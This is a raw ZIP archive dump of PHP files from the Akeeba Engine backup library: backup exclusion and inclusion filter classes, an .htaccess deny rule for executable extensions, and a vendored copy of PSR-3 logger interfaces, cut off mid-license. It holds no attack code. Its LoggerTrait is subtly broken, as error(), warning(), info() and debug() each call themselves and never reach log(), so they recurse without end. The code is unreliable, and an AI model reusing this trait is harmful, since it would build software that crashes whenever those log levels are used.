	 * This method must be overriden by API-type exclusion filters.
	 *
	 * @param   string  $test  The object to test for exclusion
	 * @param   string  $root  The object's root
	 *
	 * @return    bool    Return true if it matches your filters
	 *
	 * @codeCoverageIgnore
	 */
	protected function is_excluded_by_api($test, $root)
	{
		return false;
	}

	/**
	 * This method must be overriden by API-type inclusion filters.
	 *
	 * @return    array    The inclusion filters
	 *
	 * @codeCoverageIgnore
	 */
	protected function &get_inclusions_by_api()
	{
		$dummy = [];

		return $dummy;
	}

	/**
	 * Remove the root prefix from an absolute path
	 *
	 * @param   string  $directory  The absolute path
	 *
	 * @return  string  The translated path, relative to the root directory of the backup job
	 */
	protected function treatDirectory($directory)
	{
		if (!is_object($this->fsTools))
		{
			$this->fsTools = Factory::getFilesystemTools();
		}

		// Get the site's root
		$configuration = Factory::getConfiguration();

		if ($configuration->get('akeeba.platform.override_root', 0))
		{
			$root = $configuration->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$root = '[SITEROOT]';
		}

		if (stristr($root, '['))
		{
			$root = $this->fsTools->translateStockDirs($root);
		}

		$site_root = $this->fsTools->TrimTrailingSlash($this->fsTools->TranslateWinPath($root));

		$directory = $this->fsTools->TrimTrailingSlash($this->fsTools->TranslateWinPath($directory));

		// Trim site root from beginning of directory
		if (substr($directory, 0, strlen($site_root)) == $site_root)
		{
			$directory = substr($directory, strlen($site_root));

			if (substr($directory, 0, 1) == '/')
			{
				$directory = substr($directory, 1);
			}
		}

		return $directory;
	}

	/**
	 * Sets a filter, for direct and regex exclusion filter types
	 *
	 * @param   string  $root  The filter root object
	 * @param   string  $test  The filter string to set
	 *
	 * @return    bool    True on success
	 *
	 * @codeCoverageIgnore
	 */
	private function setExclusion($root, $test)
	{
		switch ($this->method)
		{
			default:
			case 'api':
				// we can't set new filter elements for API-type filters
				return false;
				break;

			case 'direct':
			case 'regex':
				// Get a local reference of the filter data, if necessary
				if (is_null($this->filter_data))
				{
					$filters           = Factory::getFilters();
					$this->filter_data = $filters->getFilterData($this->filter_name);
				}

				// Direct filters
				if (array_key_exists($root, $this->filter_data))
				{
					if (!in_array($test, $this->filter_data[$root]))
					{
						$this->filter_data[$root][] = $test;
					}
					else
					{
						return false;
					}
				}
				else
				{
					$this->filter_data[$root] = [$test];
				}
				break;
		}

		$filters = Factory::getFilters();
		$filters->setFilterData($this->filter_name, $this->filter_data);

		return true;
	}

	/**
	 * Sets a filter, for direct inclusion filter types
	 *
	 * @param   string  $root  The inclusion filter key (root)
	 * @param   string  $test  The inclusion filter raw data
	 *
	 * @return    bool    True on success
	 *
	 * @codeCoverageIgnore
	 */
	private function setInclusion($root, $test)
	{
		switch ($this->method)
		{
			default:
			case 'api':
			case 'regex':
				// we can't set new filter elements for API or regex type filters
				return false;
				break;

			case 'direct':
				// Get a local reference of the filter data, if necessary
				if (is_null($this->filter_data))
				{
					$filters           = Factory::getFilters();
					$this->filter_data = $filters->getFilterData($this->filter_name);
				}

				$this->filter_data[$root] = $test;
				break;
		}

		$filters = Factory::getFilters();
		$filters->setFilterData($this->filter_name, $this->filter_data);

		return true;
	}

	/**
	 * Remove a key from direct and regex filters
	 *
	 * @param   string  $root  The filter root object
	 * @param   string  $test  The filter string to set
	 *
	 * @return    bool    True on success
	 *
	 * @codeCoverageIgnore
	 */
	private function removeExclusion($root, $test)
	{
		switch ($this->method)
		{
			default:
			case 'api':
				// we can't remove filter elements from API-type filters
				return false;
				break;

			case 'direct':
			case 'regex':
				// Get a local reference of the filter data, if necessary
				if (is_null($this->filter_data))
				{
					$filters           = Factory::getFilters();
					$this->filter_data = $filters->getFilterData($this->filter_name);
				}

				// Direct filters
				if (array_key_exists($root, $this->filter_data))
				{
					if (in_array($test, $this->filter_data[$root]))
					{
						if (count($this->filter_data[$root]) == 1)
						{
							// If it's the only element, remove the entire root key
							unset($this->filter_data[$root]);
						}
						else
						{
							// If there are more elements, remove just the $test value
							$key = array_search($test, $this->filter_data[$root]);
							unset($this->filter_data[$root][$key]);
						}
					}
					else
					{
						// Filter object not found
						return false;
					}
				}
				else
				{
					// Root not found
					return false;
				}
				break;
		}

		$filters = Factory::getFilters();
		$filters->setFilterData($this->filter_name, $this->filter_data);

		return true;
	}

	/**
	 * Remove an inclusion filter
	 *
	 * @param   string  $root  The root of the filter to remove
	 *
	 * @return bool
	 *
	 * @codeCoverageIgnore
	 */
	private function removeInclusion($root)
	{
		switch ($this->method)
		{
			default:
			case 'api':
			case 'regex':
				// we can't remove filter elements from API or regex type filters
				return false;
				break;

			case 'direct':
				// Get a local reference of the filter data, if necessary
				if (is_null($this->filter_data))
				{
					$filters           = Factory::getFilters();
					$this->filter_data = $filters->getFilterData($this->filter_name);
				}

				if (array_key_exists($root, $this->filter_data))
				{
					unset($this->filter_data[$root]);
				}
				else
				{
					// Root not found
					return false;
				}
				break;
		}

		$filters = Factory::getFilters();
		$filters->setFilterData($this->filter_name, $this->filter_data);

		return true;
	}
}
PK     \"`m    2  vendor/akeeba/engine/engine/Filter/Regextables.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Database table exclusion filter
 */
class Regextables extends Base
{
	public function __construct()
	{
		$this->object  = 'dbobject';
		$this->subtype = 'all';
		$this->method  = 'regex';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
PK     \Y龾    /  vendor/akeeba/engine/engine/Filter/Skipdirs.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Subdirectories exclusion filter
 */
class Skipdirs extends Base
{
	public function __construct()
	{
		$this->object  = 'dir';
		$this->subtype = 'children';
		$this->method  = 'direct';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
PK     \oK    ,  vendor/akeeba/engine/engine/Filter/Files.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Files exclusion filter
 */
class Files extends Base
{
	public function __construct()
	{
		$this->object  = 'file';
		$this->subtype = 'all';
		$this->method  = 'direct';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
PK     \E    2  vendor/akeeba/engine/engine/Filter/Directories.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Directory exclusion filter
 */
class Directories extends Base
{
	public function __construct()
	{
		$this->object  = 'dir';
		$this->subtype = 'all';
		$this->method  = 'direct';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
PK     \Sʉ      ,  vendor/akeeba/engine/engine/Filter/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \}LV  V  3  vendor/akeeba/engine/engine/Psr/Log/LoggerTrait.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Psr\Log;

/**
 * This file is part of a privately namespaced copy of PSR-3 version 1.
 *
 * You can find the original PSR-3 in https://www.php-fig.org/psr/psr-3/ and the original code in
 * https://github.com/php-fig/log
 *
 * The license of the original code can be found below.
 *
 * Copyright (c) 2012 PHP Framework Interoperability Group
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

defined('AKEEBAENGINE') || die();

/**
 * This is a simple Logger trait that classes unable to extend AbstractLogger
 * (because they extend another class, etc) can include.
 *
 * It simply delegates all log-level-specific methods to the `log` method to
 * reduce boilerplate code that a simple Logger that does the same thing with
 * messages regardless of the error level has to implement.
 */
trait LoggerTrait
{
	/**
	 * System is unusable.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function emergency($message, array $context = [])
	{
		$this->log(LogLevel::EMERGENCY, $message, $context);
	}

	/**
	 * Action must be taken immediately.
	 *
	 * Example: Entire website down, database unavailable, etc. This should
	 * trigger the SMS alerts and wake you up.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function alert($message, array $context = [])
	{
		$this->log(LogLevel::ALERT, $message, $context);
	}

	/**
	 * Critical conditions.
	 *
	 * Example: Application component unavailable, unexpected exception.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function critical($message, array $context = [])
	{
		$this->log(LogLevel::CRITICAL, $message, $context);
	}

	/**
	 * Runtime errors that do not require immediate action but should typically
	 * be logged and monitored.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function error($message, array $context = [])
	{
		$this->error($message, $context);
	}

	/**
	 * Exceptional occurrences that are not errors.
	 *
	 * Example: Use of deprecated APIs, poor use of an API, undesirable things
	 * that are not necessarily wrong.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function warning($message, array $context = [])
	{
		$this->warning($message, $context);
	}

	/**
	 * Normal but significant events.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function notice($message, array $context = [])
	{
		$this->log(LogLevel::NOTICE, $message, $context);
	}

	/**
	 * Interesting events.
	 *
	 * Example: User logs in, SQL logs.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function info($message, array $context = [])
	{
		$this->info($message, $context);
	}

	/**
	 * Detailed debug information.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function debug($message, array $context = [])
	{
		$this->debug($message, $context);
	}

	/**
	 * Logs with an arbitrary level.
	 *
	 * @param   mixed   $level
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	abstract public function log($level, $message, array $context = []);
}
PK     \悘N>	  >	  @  vendor/akeeba/engine/engine/Psr/Log/InvalidArgumentException.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Psr\Log;

/**
 * This file is part of a privately namespaced copy of PSR-3 version 1.
 *
 * You can find the original PSR-3 in https://www.php-fig.org/psr/psr-3/ and the original code in
 * https://github.com/php-fig/log
 *
 * The license of the original code can be found below.
 *
 * Copyright (c) 2012 PHP Framework Interoperability Group
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

defined('AKEEBAENGINE') || die();

class InvalidArgumentException extends \InvalidArgumentException
{
}
PK     \UL	  	  0  vendor/akeeba/engine/engine/Psr/Log/LogLevel.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Psr\Log;

/**
 * This file is part of a privately namespaced copy of PSR-3 version 1.
 *
 * You can find the original PSR-3 in https://www.php-fig.org/psr/psr-3/ and the original code in
 * https://github.com/php-fig/log
 *
 * The license of the original code can be found below.
 *
 * Copyright (c) 2012 PHP Framework Interoperability Group
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

defined('AKEEBAENGINE') || die();

/**
 * Describes log levels
 */
class LogLevel
{
	const EMERGENCY = 'emergency';
	const ALERT = 'alert';
	const CRITICAL = 'critical';
	const ERROR = 'error';
	const WARNING = 'warning';
	const NOTICE = 'notice';
	const INFO = 'info';
	const DEBUG = 'debug';
}
PK     \rs
  
  8  vendor/akeeba/engine/engine/Psr/Log/LoggerAwareTrait.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Psr\Log;

/**
 * This file is part of a privately namespaced copy of PSR-3 version 1.
 *
 * You can find the original PSR-3 in https://www.php-fig.org/psr/psr-3/ and the original code in
 * https://github.com/php-fig/log
 *
 * The license of the original code can be found below.
 *
 * Copyright (c) 2012 PHP Framework Interoperability Group
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

defined('AKEEBAENGINE') || die();

/**
 * Basic Implementation of LoggerAwareInterface.
 */
trait LoggerAwareTrait
{
	/** @var LoggerInterface */
	protected $logger;

	/**
	 * Sets a logger.
	 *
	 * @param   LoggerInterface  $logger
	 */
	public function setLogger(LoggerInterface $logger)
	{
		$this->logger = $logger;
	}
}
PK     \z    7  vendor/akeeba/engine/engine/Psr/Log/LoggerInterface.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Psr\Log;

/**
 * This file is part of a privately namespaced copy of PSR-3 version 1.
 *
 * You can find the original PSR-3 in https://www.php-fig.org/psr/psr-3/ and the original code in
 * https://github.com/php-fig/log
 *
 * The license of the original code can be found below.
 *
 * Copyright (c) 2012 PHP Framework Interoperability Group
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

defined('AKEEBAENGINE') || die();

/**
 * Describes a logger instance
 *
 * The message MUST be a string or object implementing __toString().
 *
 * The message MAY contain placeholders in the form: {foo} where foo
 * will be replaced by the context data in key "foo".
 *
 * The context array can contain arbitrary data, the only assumption that
 * can be made by implementors is that if an Exception instance is given
 * to produce a stack trace, it MUST be in a key named "exception".
 *
 * See https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md
 * for the full interface specification.
 */
interface LoggerInterface
{
	/**
	 * System is unusable.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function emergency($message, array $context = []);

	/**
	 * Action must be taken immediately.
	 *
	 * Example: Entire website down, database unavailable, etc. This should
	 * trigger the SMS alerts and wake you up.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function alert($message, array $context = []);

	/**
	 * Critical conditions.
	 *
	 * Example: Application component unavailable, unexpected exception.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function critical($message, array $context = []);

	/**
	 * Runtime errors that do not require immediate action but should typically
	 * be logged and monitored.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function error($message, array $context = []);

	/**
	 * Exceptional occurrences that are not errors.
	 *
	 * Example: Use of deprecated APIs, poor use of an API, undesirable things
	 * that are not necessarily wrong.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function warning($message, array $context = []);

	/**
	 * Normal but significant events.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function notice($message, array $context = []);

	/**
	 * Interesting events.
	 *
	 * Example: User logs in, SQL logs.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function info($message, array $context = []);

	/**
	 * Detailed debug information.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function debug($message, array $context = []);

	/**
	 * Logs with an arbitrary level.
	 *
	 * @param   mixed   $level
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function log($level, $message, array $context = []);
}
PK     \v`	  	  <  vendor/akeeba/engine/engine/Psr/Log/LoggerAwareInterface.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Psr\Log;

/**
 * This file is part of a privately namespaced copy of PSR-3 version 1.
 *
 * You can find the original PSR-3 in https://www.php-fig.org/psr/psr-3/ and the original code in
 * https://github.com/php-fig/log
 *
 * The license of the original code can be found below.
 *
 * Copyright (c) 2012 PHP Framework Interoperability Group
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

defined('AKEEBAENGINE') || die();

/**
 * Describes a logger-aware instance
 */
interface LoggerAwareInterface
{
	/**
	 * Sets a logger instance on the object
	 *
	 * @param   LoggerInterface  $logger
	 *
	 * @return null
	 */
	public function setLogger(LoggerInterface $logger);
}
PK     \N7    6  vendor/akeeba/engine/engine/Psr/Log/AbstractLogger.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Psr\Log;

/**
 * This file is part of a privately namespaced copy of PSR-3 version 1.
 *
 * You can find the original PSR-3 in https://www.php-fig.org/psr/psr-3/ and the original code in
 * https://github.com/php-fig/log
 *
 * The license of the original code can be found below.
 *
 * Copyright (c) 2012 PHP Framework Interoperability Group
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
